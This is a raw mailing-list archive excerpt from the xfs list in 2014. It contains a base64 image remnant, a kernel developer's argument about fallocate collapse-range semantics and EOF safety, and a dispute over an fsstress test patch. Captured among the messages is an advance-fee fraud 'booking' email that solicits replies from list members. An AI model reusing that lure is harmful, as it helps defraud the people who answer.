//////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////8+/r7/f////////////// ////////7rmonZaPioaCf3t4dnRyc3V4f5D/////////////////6086MCghGxUQCwcCAAAAAAAA ACP//////////////////2kAAAAAAAAAAAAAAAAAAAAAAAD//////////////////5sKAAAAAAAA AAAAAAAAAAAAAAD//////////////////8g5AAAAAAAAAAAAAAAAAAAAAAD///////////////// //BjAAAAAAAAAAAAAAAAAAAAAAD///////////////////+KDgAAAAAAAAAAAAAAAAAAAAD///// //////////////+wNAAAAAAAAAAAAAAAAAAAAAD////////////////////VWwAAAAAAAAAAAAAA AAAAAAD/////////////////////hRoAAAAAAAAAAAAAAAAAAAPs////////////////////sUkA AAAAAAAAAAAAABg5XYH/////////////////////5XseAAAAAAAMIThSb4+z2f////////////// /////////7tYKTlJWmyAl7DN7f////////////////////////////+znrTF1+v///////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////67+fh3NnW1NLQ0NDR09ng6/f//////////////////7iKfndxbGhkYV5b WVhXV1leZXH//////////////////78xHxYQCgUAAAAAAAAAAAAAAAD//////////////////+1W AAAAAAAAAAAAAAAAAAAAAADo//////////////////+CBAAAAAAAAAAAAAAAAAAAAADM//////// //////////+rLwAAAAAAAAAAAAAAAAAAAACz///////////////////SVwAAAAAAAAAAAAAAAAAA AACb///////////////////3fBAAAAAAAAAAAAAAAAAAAACF////////////////////ojcAAAAA AAAAAAAAAAAABSuU////////////////////y2ECAAAAAAAAAAAADCxQdp7R//////////////// ////9Y0wAAAAAAANIztXdpm+5f///////////////////////8NjGCo7TF90jafG5/////////// //////////////////+of5aou9Dn/////////////////////////////////////f////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////dzsW/ vLm2tLOxsrK1ucDJ1eP///////////////////+XbGReWVVRT0xKSEdGSEtQWWah//////////// //////+nJg4HAgAAAAAAAAAAAAAAAABW///////////////////OUAAAAAAAAAAAAAAAAAAAAAA6 ///////////////////0eQsAAAAAAAAAAAAAAAAAAAAh////////////////////nzIAAAAAAAAA AAAAAAAAAAAO////////////////////xFgAAAAAAAAAAAAAAAAIMVqE//////////////////// 6X8fAAAAAAAAAAAGJ0txmsLp/////////////////////6dJAAAAAAIXL0poiq7V/P////////// /////////////9N1HiY4Sl51j6vL7/////////////////////////////+ucoWYrMLb9v////// ////////////////////////////3+////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////v7KqpqOhoJ+foaOmrLTAzd3s//// ////////////////ilpTT0tIRkRDQkFCQ0dOWWl9////////////////////ni4GAAAAAAAAAAAA AAAAAAAA////////////////////w1YAAAAAAAAAAAAAAAAAABVB////////////////////53sa AAAAAAAAAAAAAAk0YIu0/////////////////////58/AAAAAAAAAAQlSnGZwuv///////////// /////////8ZmDwAAABMqRGKDp831/////////////////////////+uONSs+UWiBnbze//////// //////////////////////++dn+UqcHc+f//////////////////////////////////0tjz//// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////28vDv7+/x8/j9//// ////////////////////////+LCfmpeWlpaYm5+krLbC0eHu/////////////////////o5QSkdF RERERUZHS1FaaIOp/////////////////////6ZBAQAAAAAAAAAABzZjj7rh//////////////// /////8ZlCgAAAAAABCdMc5zE7P///////////////////////+WILwAAEypEYoKmzPT///////// //////////////////+rUDZKYXuWtNb6///////////////////////////////Sh3yYscvp//// ////////////////////////////////1M7t//////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////t5ePj5Obo7fH5//////////////////////////// //2xlJKSlZmdo6myvNDt//////////////////////////+dU0dJTVFWYHOKr9b8//////////// //////////////+yVgAaNVBti67S9//////////////////////////////Nbz5fe5m31/n///// ///////////////////////////un4OmwuH/////////////////////////////////////487r //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD///////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////wAAAP/uAA5BZG9iZQBkgAAAAAL/2wCEABIODg4QDhUQEBUeExETHiMa FRUaIyIXFxcXFyIRDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwBFBMTFhkWGxcX GxQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDP/A ABQIACEAZAQBIgACEQEDEQEEIgD/3QAEAAf/xAE/AAABBQEBAQEBAQAAAAAAAAADAAECBAUGBwgJ CgsBAAEFAQEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAQQBAwIEAgUHBggFAwwzAQACEQMEIRIx BUFRYRMicYEyBhSRobFCIyQVUsFiMzRygtFDByWSU/Dh8WNzNRaisoMmRJNUZEXCo3Q2F9JV4mXy s4TD03Xj80YnlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vY3R1dnd4eXp7fH1+f3EQACAgECBAQD BAUGBwcGBTUBAAIRAyExEgRBUWFxIhMFMoGRFKGxQiPBUtHwMyRi4XKCkkNTFWNzNPElBhaisoMH JjXC0kSTVKMXZEVVNnRl4vKzhMPTdePzRpSkhbSVxNTk9KW1xdXl9VZmdoaWprbG1ub2JzdHV2d3 h5ent8f/2gAOBAEAAhEDEQQAAD8A4dSaxzjDRJ8BqtLpPTBmPc+wltNehjku/cXSV0Y+Mz9E1lLR +eYn/tx6nx4JTHESIQ8WbHhMxxE8EHuE0gCSY+KrZeV6IAaJe7UeELNNllrveXPPgNAuWq6R1C3i ktHi6Gj/AKatt+r2RzbbXX5SZWrb1HpzPp3mw+DZI/8AAfTU22VvrbbRiG1rtQTs/wDRj3qYYcXf jP8AV9TKMOL97jP9X1f9B1X5eOzmwE+A1/6lCPUKvzGucqrMfJ/NqazzP/qTeoua8OLbLwwjw3f9 8a1ZY6Jht/nMsE+DY/8AJog6V0oc2WP+DXf98qetL181ujMEj/rjB/1LUBnUc+1z214kurO1wNgB BR4MQr0/8ycl3BiFenf+pOTb+2Xu+jQ75qH2rLPDGN+JH/pRVzXj8vyP+i7/AL+pOxcdgaXXEB2r TtlV/wBm9IHFdzv7Nn/pNP8AYukj/tLe75Wf+SVv7T1X/uGD/wBcCqu6zmV3Cl2GRYeGbjJ/q+1I jGNxGP8A1LiURjG4iP0f5pIcnM8ax82/+TT+tlH/AA1Q+YQPSw/9P97UUYVJYXttlo76JvQ6S3/t Hd/mP/8ASiiR0Uc4tnzY7/yavDK6mRJwgfIWt3f5ir5HWbsZwbkYpYXCR7wdP81I8AFkRHf9Qo8F Eng8f1LIWZh4ur+9v/kE/wCv9rWn5t/8iq/o4gMC/wCe3T/OU68KuwE1WggH91UL2YFzmtooLKgY LoO/cB6lu/3/AM2xBfjYpb9At0DpaHkwTs/wqlb1HGtyfUDHMa7Vwn86PTf9D99ig7JxAyAd5gNA aHM9s7/pPeoTwG64PsYSY6/J9jbq+0NB9V4c7QxAgT/VRN7wdCD21hRqosZWGbg7aI+5T2vniNZ1 hUPQf6/ofnbtqSXrP9b1/wA/duSUPp/53/MYvT/zv+az3jZv7cpJ9o27e3CS/9DE6DmMqc7HsO1t hBaT+99FZ+flZN+Q8XEjaT+j7NhU5jjlEstdYAX6uGm7uf6ykOQmAj+6ye4TAQvSL1XUKHPaLG67 OR5Kxj1VV1t9Pgj6XcoyYNAEDQIYXS/V0u9C3X84ASsQMwy0e8tcGy7SRu/cV+vqfoVium8BjRDR 6Q3QP33J+EiMuKRXYiIT4iV1m9SjfX20P3q/NknQc6fBV34rLHFz2ann3FW8i7FoxLLcV5F7bdC4 j1ND+5u/mVW6Xk2ZXVfVtiXNM7RA49qqX5FGRa997y4+1rSxor3D8+xyLi5bMQEUXwHmXTXuLf7T keO5g3UIforuK5g3UY/oo2NtfcGXNGws7fR/z1LJrbXiFjZgERrrqUdlbq2hrBA5MklRtobcZe06 afS/8itXNuwaM1tl9ljbGgHY0exCq6ic3qNX2doAqa7WzQuafp/Q3qhk5leWxrbsjQGdK4P+c1Vq bKcY+tRafWb9EFuk/RTpZfVp/N8XH/WTLJctK9rj4/67Tx23vxy2trSw6bj9JSOOKMZ4sdO8j6Os K1XQ2lxNbOf5X/klN7DaCx7faVuX29OffGSyzHvBjd7h/melurVfr1VgoqsNgfW07WyIdx/pGoX7 ZsmPWkaaPrDtv7/0VTyMoZLwb7nPAaSGxtAf/o/YjPJExIH6fb0/4yp5AYkfNx/u/wDdNGtuUKv0 RZbX+7A/78p4D273t2lp5MGQifYq/wDRx/VcUauptQ9jQ3XXuY/tLOSkqy6vHhpbZz9IEcf1UQV4 G4zY6AXaQfo/4JVuHxYOHxTJKMv10+CjNscCYH3qkkpQN0bhHikmrUiSSS//0eHSTJJJ7PcJLw5J FbwPim/N+9DSQOyzo+391JeHJInZR8VFJHqfqu6l9xCS8OSUgl/r+Kikl/BXV9xSXhySkpdz80NJ Luo7l9xKXivDklJyX9yikkp9xSXhySl+akopJKfcUl4ckv/Z --14dae9d2fb34e5c5df04f349a21e-- From david@fromorbit.com Wed Feb 26 04:05:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CD76E7F3F for ; Wed, 26 Feb 2014 04:05:01 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 57478AC004 for ; Wed, 26 Feb 2014 02:04:58 -0800 (PST) X-ASG-Debug-ID: 1393409094-04cb6c567852bc0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id oahd6thmddOIEAyQ for ; Wed, 26 Feb 2014 02:04:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmcGAOK7DVN5LJYe/2dsb2JhbABZgwaDQ7hshVaBGxd0giUBAQQBOhwjBQsIAxgJJQ8FJQMhExkCh2IHyHoXFo46B4Q4BJg1ilOHVoNBKIEuJA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 26 Feb 2014 20:34:52 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIbLz-00044s-7r; Wed, 26 Feb 2014 21:04:39 +1100 Date: Wed, 26 Feb 2014 21:04:39 +1100 From: Dave Chinner To: Hugh Dickins Cc: Andrew Morton , Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140226100439.GV13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> <20140222140625.GD26637@thunk.org> <20140223213606.GE4317@dastard> <20140226015747.GN13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393409094 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145526 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 09:25:40PM -0800, Hugh Dickins wrote: > On Wed, 26 Feb 2014, Dave Chinner wrote: > > On Tue, Feb 25, 2014 at 03:41:20PM -0800, Hugh Dickins wrote: > > > On Mon, 24 Feb 2014, Dave Chinner wrote: > > > > On Sat, Feb 22, 2014 at 09:06:25AM -0500, Theodore Ts'o wrote: > > > > > On Wed, Feb 19, 2014 at 01:37:43AM +0900, Namjae Jeon wrote: > > > > > > + /* > > > > > > + * There is no need to overlap collapse range with EOF, in which case > > > > > > + * it is effectively a truncate operation > > > > > > + */ > > > > > > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && > > > > > > + (offset + len >= i_size_read(inode))) > > > > > > + return -EINVAL; > > > > > > + > > > > > > > > > > I wonder if we should just translate a collapse range that is > > > > > equivalent to a truncate operation to, in fact, be a truncate > > > > > operation? > > > > > > > > Trying to collapse a range that extends beyond EOF, IMO, is likely > > > > to only happen if the DVR/NLE application is buggy. Hence I think > > > > that telling the application it is doing something that is likely to > > > > be wrong is better than silently truncating the file.... > > > > > > I do agree with Ted on this point. This is not an xfs ioctl added > > > for one DVR/NLE application, it's a mode of a Linux system call. > > > > > > We do not usually reject with an error when one system call happens > > > to ask for something which can already be accomplished another way; > > > nor nanny our callers. > > > > > > It seems natural to me that COLLAPSE_RANGE should support beyond EOF; > > > unless that adds significantly to implementation difficulties? > > > > Yes, it does add to the implementation complexity significantly - it > > adds data security issues that don't exist with the current API. > > > > That is, Filesystems can have uninitialised blocks beyond EOF so > > if we allow COLLAPSE_RANGE to shift them down within EOF, we now > > have to ensure they are properly zeroed or marked as unwritten. > > > > It also makes implementations more difficult. For example, XFS can > > also have in-memory delayed allocation extents beyond EOF, and they > > can't be brought into the range < EOF without either: > > > > a) inserting zeroed pages with appropriately set up > > and mapped bufferheads into the page cache for the range > > that sits within EOF; or > > b) truncating the delalloc extents beyond EOF before the > > move > > > > So, really, the moment you go beyond EOF filesystems have to do > > quite a bit more validation and IO in the context of the system > > call. It no longer becomes a pure extent manipulation offload - it > > becomes a data security problem. > > Those sound like problems you would already have solved for a > simple extending truncate. Yes, they have because of what truncate defines - that the region between the old EOF and the new EOF must contain zeroes. truncate does not move blocks around, it merely changes the EOF, and so the solution is simple. > But I wasn't really thinking of the offset > i_size case, just the > offset + len >= i_size case: which would end with i_size at offset, > and the areas you're worried about still beyond EOF - or am I confused? Right, offset beyond EOF is just plain daft. But you're not thinking of the entire picture. What happens when a system crashes half way through a collapse operation? On tmpfs you don't care - everything is lost, but on real filesystems we have to care about. offset + len beyond EOF is just truncate(offset). >From the point of view of an application offloading a data movement operation via collapse range, any range that overlaps EOF is wrong - data beyond EOF is not accessible and is not available for the application to move. Hence EINVAL - it's an invalid set of parameters. If we do allow it and implement it by block shifting (which, technically, is the correct interpretation of the collapse range behaviour because it preserves preallocation beyond the collapsed region beyond EOF), then we have thr problem of moving data blocks below EOF by extent shifting before we change the EOF. That exposes blocks of undefined content to the user if we crash and recover up to that point of the operation. It's just plain dangerous, and if we allow this possibility via the API, someone is going to make that mistake in a filesystem because it's difficult to test and hard to get right. > > And, indeed, the specification that we are working to is that the > > applications that want to collapse the range of a file are using > > this function instead of read/memcpy/write/truncate, which by > > definition means they cannot shift ranges of the file beyond EOF > > into the new file. > > > > So IMO the API defines the functionality as required by the > > applications that require it and *no more*. If you need some > > different behaviour - we can add it via additional flags in future > > when you have an application that requires it. > > You still seem to be thinking in terms of xfs ioctl hacks, > rather than fully scoped Linux system calls. Low blow, referee! :/ To set the record straight, this fallocate interface was originally scoped and implemented for ext4, then extended to XFS by request. it's never been near an XFS ioctl interface in it's life. Besides, you're completely off the ball here. This isn't a fully scoped Linux system call - that's what fallocate() is. fallocate() is designed to be as extensible as possible within the constraints of it's three control parameters (flags, offset, length). This was done so we could add new allocation primitives for filesystem offloads in the future. That's *exactly* what collapse range is - it is using fallocate in the way it was intended to be used. FWIW, consider the the "can't change EOF with the hole punch primitive" rule we defined. We did that because hole punch needs to work beyond EOF without changing EOF because having a hole punch that removes preallocation beyond EOF extend the file is just plain daft. Hence if you want to punch a hole that crosses EOF and set EOF to the start of the hole a the same time *you have to use truncate*. Because, by definition, that's a *truncate operation*, not a *hole punch operation*. Now, consider the collapse range primitive and apply the same logic: Applications cannot access data beyond EOF. Allowing them to collapse a range past EOF is effectively saying "bring data beyond EOF down into the file, then set EOF so you can't access the data that was beyond the old EOF. It has potential for stale data exposure, especially if the operation is fatally interrupted (e.g. by a system crash or filesystem shutdown). Hence if you want to collapse a range that crosses EOF and set EOF to the start of the range a the same time *you have to use truncate*. Because, by definition, that's a *truncate operation*, not a *collapse range operation*. > But it probably doesn't matter too much, if we start with an error, > and later correct that to a full implementation - an xfstest or LTP > test which expected failure will fail once it sees success, but no > users harmed in the making of this change. If we want different behaviour in future, then we define a new control flag to indicate that we want the different behaviour. Yet another reason we designed the fallocate syscall to be extensible.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From nobody@host.familyhealthguide.co.uk Wed Feb 26 06:01:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F19627F3F for ; Wed, 26 Feb 2014 06:01:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id BC3CC304053 for ; Wed, 26 Feb 2014 04:01:46 -0800 (PST) X-ASG-Debug-ID: 1393416105-04cbb066e75b9b0001-w1Z2WR Received: from host.familyhealthguide.co.uk (host.familyhealthguide.co.uk [209.236.115.122]) by cuda.sgi.com with ESMTP id ugHuHzOP9D04ftVp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 26 Feb 2014 04:01:45 -0800 (PST) X-Barracuda-Envelope-From: nobody@host.familyhealthguide.co.uk X-Barracuda-Apparent-Source-IP: 209.236.115.122 Received: from nobody by host.familyhealthguide.co.uk with local (Exim 4.80.1) (envelope-from ) id 1WIdBJ-0005WG-0a for linux-xfs@oss.sgi.com; Wed, 26 Feb 2014 06:01:45 -0600 To: linux-xfs@oss.sgi.com Subject: Booking X-PHP-Script: www.familyhealthguide.co.uk/includes/js/ABU.php for 197.210.248.80 X-ASG-Orig-Subj: Booking From: Andrew king Reply-To: kandrew061@gmail.com MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Wed, 26 Feb 2014 06:01:45 -0600 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - host.familyhealthguide.co.uk X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - host.familyhealthguide.co.uk X-Get-Message-Sender-Via: host.familyhealthguide.co.uk: uid via acl_c_vhost_owner from authenticated_id: nobody from /only user confirmed/virtual account not confirmed X-Barracuda-Connect: host.familyhealthguide.co.uk[209.236.115.122] X-Barracuda-Start-Time: 1393416105 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.05 X-Barracuda-Spam-Status: No, SCORE=1.05 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145529 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Hello, I am Andrew from Medical Institute of Science and Technology Scotland, I want to book accommodation for my colleagues coming to your area in your country. Details of the Reservations as follows: Date:21st of November 2014 to 4th December 2014: The reservation will be for the 14th mentioned days. No of persons: 6 People (adults) No of Room:6 Single or 3 Double + 1 Single/Apartment that can lodge in 6 people. Kindly email if you have availability on those dates,or if you don't have availability you can also email me.Moreover we need to know the price per room and the facilities we are to enjoy from you,do not hesitate to email me back if their is no availability. I await your immediate response.. Regards, Andrew Deputy Director +447087621813 From lczerner@redhat.com Wed Feb 26 07:04:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 86EE27F3F for ; Wed, 26 Feb 2014 07:04:20 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 426F3304081 for ; Wed, 26 Feb 2014 05:04:20 -0800 (PST) X-ASG-Debug-ID: 1393419856-04bdf05dab613e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id JsvzqJCyEFgSSKRT for ; Wed, 26 Feb 2014 05:04:16 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1QD4Duo031933 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 26 Feb 2014 08:04:13 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1QD4BNS023892 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 26 Feb 2014 08:04:12 -0500 Date: Wed, 26 Feb 2014 14:04:10 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org Subject: Re: [PATCH 3/6] xfstests: fsstress punch should always have FALLOC_FL_KEEP_SIZE set In-Reply-To: <20140225201854.GA13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 3/6] xfstests: fsstress punch should always have FALLOC_FL_KEEP_SIZE set Message-ID: References: <1393355728-12056-1-git-send-email-lczerner@redhat.com> <1393355728-12056-3-git-send-email-lczerner@redhat.com> <20140225201854.GA13647@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393419856 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Wed, 26 Feb 2014, Dave Chinner wrote: > Date: Wed, 26 Feb 2014 07:18:54 +1100 > From: Dave Chinner > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org > Subject: Re: [PATCH 3/6] xfstests: fsstress punch should always have > FALLOC_FL_KEEP_SIZE set > > On Tue, Feb 25, 2014 at 08:15:25PM +0100, Lukas Czerner wrote: > > Signed-off-by: Lukas Czerner > > --- > > ltp/fsstress.c | 2 +- > > 1 file changed, 1 insertion(+), 1 deletion(-) > > > > diff --git a/ltp/fsstress.c b/ltp/fsstress.c > > index 4c3368f..42c8a5a 100644 > > --- a/ltp/fsstress.c > > +++ b/ltp/fsstress.c > > @@ -2555,8 +2555,8 @@ punch_f(int opno, long r) > > off = (off64_t)(lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE)); > > off %= maxfsize; > > len = (off64_t)(random() % (1024 * 1024)); > > - mode |= FALLOC_FL_KEEP_SIZE & random(); > > e = fallocate(fd, mode, (loff_t)off, (loff_t)len) < 0 ? errno : 0; > > + mode |= FALLOC_FL_KEEP_SIZE; > > if (v) > > printf("%d/%d: punch hole(%d) %s %s %lld %lld %d\n", > > procid, opno, mode, > > NACK. There's nothing wrong with testing a set of parameters that > should fail in a stress test. How is this testing ? We do not actually test whether it fails when it should and vice versa. Only thing that it does right now is making punch hole testing less efficient. We do not really test correctness of the arguments in fsstress. -Lukas > > Regardless, the patch is wrong... > > Cheers, > > Dave. > From dongsheng081251@gmail.com Wed Feb 26 07:57:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E7117F3F for ; Wed, 26 Feb 2014 07:57:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id D75B9304082 for ; Wed, 26 Feb 2014 05:57:45 -0800 (PST) X-ASG-Debug-ID: 1393423063-04cb6c56775e040001-NocioJ Received: from mail-lb0-f175.google.com (mail-lb0-f175.google.com [209.85.217.175]) by cuda.sgi.com with ESMTP id MlcidGWlbRAvdcpH (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 05:57:44 -0800 (PST) 